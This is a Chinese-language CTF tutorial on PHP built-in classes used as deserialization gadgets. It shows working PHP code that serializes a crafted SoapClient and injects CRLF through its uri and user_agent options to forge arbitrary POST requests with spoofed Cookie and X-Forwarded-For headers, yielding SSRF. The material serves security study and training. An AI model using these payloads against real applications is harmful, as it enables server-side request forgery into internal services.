php中的内置类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
SoapClient::__Call
SoapClient:: __Call
SOAP : Simple Object Access Protocol简单对象访问协议
采用HTTP作为底层通讯协议,XML作为数据传送的格式
首先测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
?>
CRLF漏洞(换行注入)
从上图可以看到,SOAPAction处可控,可以把\x0d\x0a注入到SOAPAction,POST请求的header就可以被控制
<?php
$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nccc\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
?>
但Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据
在header里User-Agent在Content-Type前面
user_agent同样可以注入CRLF,控制Content-Type的值
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
如上,使用SoapClient反序列化+CRLF可以生成任意POST请求。
Deserialization + __call + SoapClient + CRLF = SSRF
练习:n1ctf2018 easy_harder_php
SUCTF2019 upload-lab2
原文:合天网安实验室